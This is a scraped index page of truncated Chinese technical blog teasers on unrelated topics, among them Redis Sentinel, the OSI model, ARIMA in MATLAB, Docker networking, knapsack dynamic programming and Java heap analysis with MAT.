专栏介绍 结合自身经验和内部资料总结的Python教程&#xff0c;每天3-5章&#xff0c;最短1个月就能全方位的完成Python的学习并进行实战开发&#xff0c;学完了定能成为大佬&#xff01;加油吧&#xff01;卷起来&#xff01; 全部文章请访问专栏&#xff1a;《Python全栈教…

Redis Sentinel 哨兵模式

Sentinel 哨兵模式 Redis Sentinel 官网 Redis 的 Sentinel 文档 -- Redis中国用户组&#xff08;CRUG&#xff09; Sentinel Redis 命令参考&#xff08;红色&#xff09; Sentinel 通过监控的方式获取主机的工作状态是否正常&#xff0c;当主机发生故障时&#xff0c; Senti…

校验验证码是否过期(定时刷新验证码)

需求&#xff1a; 我们在登录的时候会遇到通过接口请求验证码的操作&#xff0c;这里的验证码会有过期的时间&#xff0c;当我们验证码过期了&#xff0c;我们要进行重新刷新验证码。 我们这里根据后端返回的当前时间和过期时间判断&#xff0c;过期的时间超过了当前时间的时候…

vuepress使用及拓展(骚操作)

官网 文章目录 背景问题思考方案思索实现方案实现结果存在问题 背景 当前开放平台文件静态保存在前端项目&#xff0c;每次修改都需要通过修改文件发版的方式&#xff0c;很不便利。 1、需要前端手动维护 2、每次小的修改都要发版 随着对接业务的增多&#xff0c;对接文档的变…

ch0_OSI 七层网络协议介绍

目录 概述 1、三网融合的概念 三网&#xff1a;电信网络、有线电视网络、计算机网络 概念&#xff1a;把上述三种网络融合成一种网络 2、计算机网络的定义、分类 定义&#xff1a;计算机网络是将地理位置不同的独立计算机系统&#xff0c;通过传输介质链接起来&#xff0c…

开发一款直播弹幕游戏需要多少钱?

开发一款直播弹幕游戏需要多少钱&#xff1f;有好多朋友在咨询过弹幕游戏的开发价格后&#xff0c;都会比较吃惊&#xff0c;一款体量这么小的游戏为什么动辄就要几万块甚至十几万&#xff1f; 我来给你们说分析一下原因&#xff0c;这种游戏如果脱离开直播间&#xff0c;可以…

45基于matlab的ARIMA:AutoregressiveIntegratedMovingAverage model。

基于matlab的ARIMA&#xff1a;AutoregressiveIntegratedMovingAverage model。自回归差分移动平均模型(p,d,q)&#xff0c;AR自回归模型&#xff0c;MA移动平均模型&#xff0c;时间序列模型步骤包括&#xff1a;1. 数据平稳性检验&#xff1b;2. 确定模型参数&#xff1b;3. …

生成第一个 Blazor 应用

前言&#xff1a;博主文章仅用于学习、研究和交流目的&#xff0c;不足和错误之处在所难免&#xff0c;希望大家能够批评指出&#xff0c;博主核实后马上更改。 概述&#xff1a;Blazor 是一个使用 Blazor 生成交互式客户端 Web UI 的框架使用 C# 创建丰富的交互式 UI。共享使…

Flink日志采集-ELK可视化实现

一、各组件版本 组件版本Flink1.16.1kafka2.0.0Logstash6.5.4Elasticseach6.3.1Kibana6.3.1 针对按照⽇志⽂件⼤⼩滚动⽣成⽂件的⽅式&#xff0c;可能因为某个错误的问题&#xff0c;需要看好多个⽇志⽂件&#xff0c;还有Flink on Yarn模式提交Flink任务&#xff0c;在任务执…

中文大语言模型汇总

推荐一篇非常棒的github&#xff1a;Awesome-Chinese-LLM 另附语言模型排行榜&#xff1a;FastChat 里面总结了几乎所有目前主流的中文大语言模型。在此记录一下&#xff0c;方便以后慢慢学习。

AI 引擎系列 4 - 首次运行 AI 引擎编译器和 x86simulator(2022.1 更新)

AI 引擎系列 4 - 首次运行 AI 引擎编译器和 x86simulator&#xff08;2022.1 更新&#xff09; 简介 在 AI 引擎系列的前 3 篇博文中&#xff0c;我们探讨了 AI 引擎应用所需的不同文件。在本篇中&#xff0c;我们将为 X86 目标运行 AI 引擎编译器&#xff0c;观察它生成的不…

0-1背包 完全背包 + 至多/恰好/至少 + 空间优化 + 常见变形题(实战力扣题)

&#xff08;一&#xff09;01背包 1.回溯三问 # capacity:背包容量 # w[i]: 第 i 个物品的体积 # v[i]: 第 i 个物品的价值 # 返回:所选物品体积和不超过 capacity 的前提下&#xff0c;所能得到的最大价值和 def zero_one_knapsack(capacity:int,w:List[int],v:List[int])…

【Linux】第八站:gcc和g++的使用

文章目录 一、解决sudo命令的问题二、Linux编译器-gcc/g1.gcc的使用2.g的使用 三、gcc编译链接过程1.预处理2.编译&#xff08;生成汇编&#xff09;3.汇编&#xff08;生成机器可识别代码&#xff09;4.链接&#xff08;生成可执行文件或库文件&#xff09;5.一些选项的意义 四…

Docker容器技术实战3

8、docker原生网络 Docker原生网络基于Linux桥接技术和虚拟网络接口&#xff0c;使用了Linux内核的网络功能。每个Docker容器都有自己的网络命名空间&#xff0c;这使得容器之间可以使用独立的IP地址&#xff0c;并隔离了容器的网络栈。 当创建一个Docker原生网络时&#xff…

Airtest工具根据App页面文字信息提取坐标进行截图保存在自定义文件夹

Airtest工具根据App页面文字信息提取坐标进行截图保存在自定义文件夹 一、项目背景 在一个项目中&#xff0c;选项被选中和未选中的节点元素的属性值无变化&#xff0c;通过AI识别率达不到百分百&#xff0c;想着通过计算图片的HSV值来判断选择能否被选中。&#xff08;HSV比…

ESP32 for Arduino 分区信息

忘记过去&#xff0c;超越自己 ❤️ 博客主页 单片机菜鸟哥&#xff0c;一个野生非专业硬件IOT爱好者 ❤️❤️ 本篇创建记录 2023-11-04❤️❤️ 本篇更新记录 2023-11-04❤️&#x1f389; 欢迎关注 &#x1f50e;点赞 &#x1f44d;收藏 ⭐️留言&#x1f4dd;&#x1f64f;…

【JAVA学习笔记】59 - JUnit框架使用、本章作业

项目代码 https://github.com/yinhai1114/Java_Learning_Code/tree/main/IDEA_Chapter15/src/com/yinhai/homework JUnit测试框架 1.基本介绍 1. JUnit是一个Java语言的单元测试框架 2.多数Java的开发环境都已经集成了JUnit作为单元测试的工具 2.如何使用 创建方法后&#x…

JVM离线分析-使用MAT分析dump堆文件

1. MAT&#xff08;Memory Analyzer Tool&#xff09;的介绍 官方介绍 The Eclipse Memory Analyzer is a fast and feature-rich Java heap analyzer that helps you find memory leaks and reduce memory consumption. Use the Memory Analyzer to analyze productive heap …